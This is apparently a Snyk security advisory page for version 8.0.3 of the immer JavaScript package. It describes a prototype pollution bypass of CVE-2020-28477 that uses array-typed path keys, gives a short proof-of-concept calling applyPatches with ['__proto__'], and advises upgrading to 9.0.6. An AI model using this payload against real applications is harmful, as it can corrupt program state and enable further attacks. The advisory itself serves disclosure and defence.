Homepage
About Snyk

immer@8.0.3 vulnerabilities

Create your next immutable state by mutating the current one

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the immer package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

immer is a package that allows you to create your next immutable state by mutating the current one.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition (p === "__proto__" || p === "constructor") in applyPatches_ returns false if p is ['__proto__'] (or ['constructor']). The === operator (strict equality operator) returns false if the operands have different type.

PoC

const {applyPatches, enablePatches} = require("immer");
enablePatches();

// applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// console.log(polluted); // Error: [Immer] Patching reserved attributes like __proto__, prototype and constructor is not allowed

applyPatches({}, [ { op: 'add', path: [['__proto__'], 'polluted'], value: 'yes' } ]);
// applyPatches({}, [ { op: 'replace', path: [['__proto__'], 'polluted'], value: 'yes' } ]);
console.log(polluted);

How to fix Prototype Pollution?

Upgrade immer to version 9.0.6 or higher.

>=7.0.0 <9.0.6
Go back to all versions of this package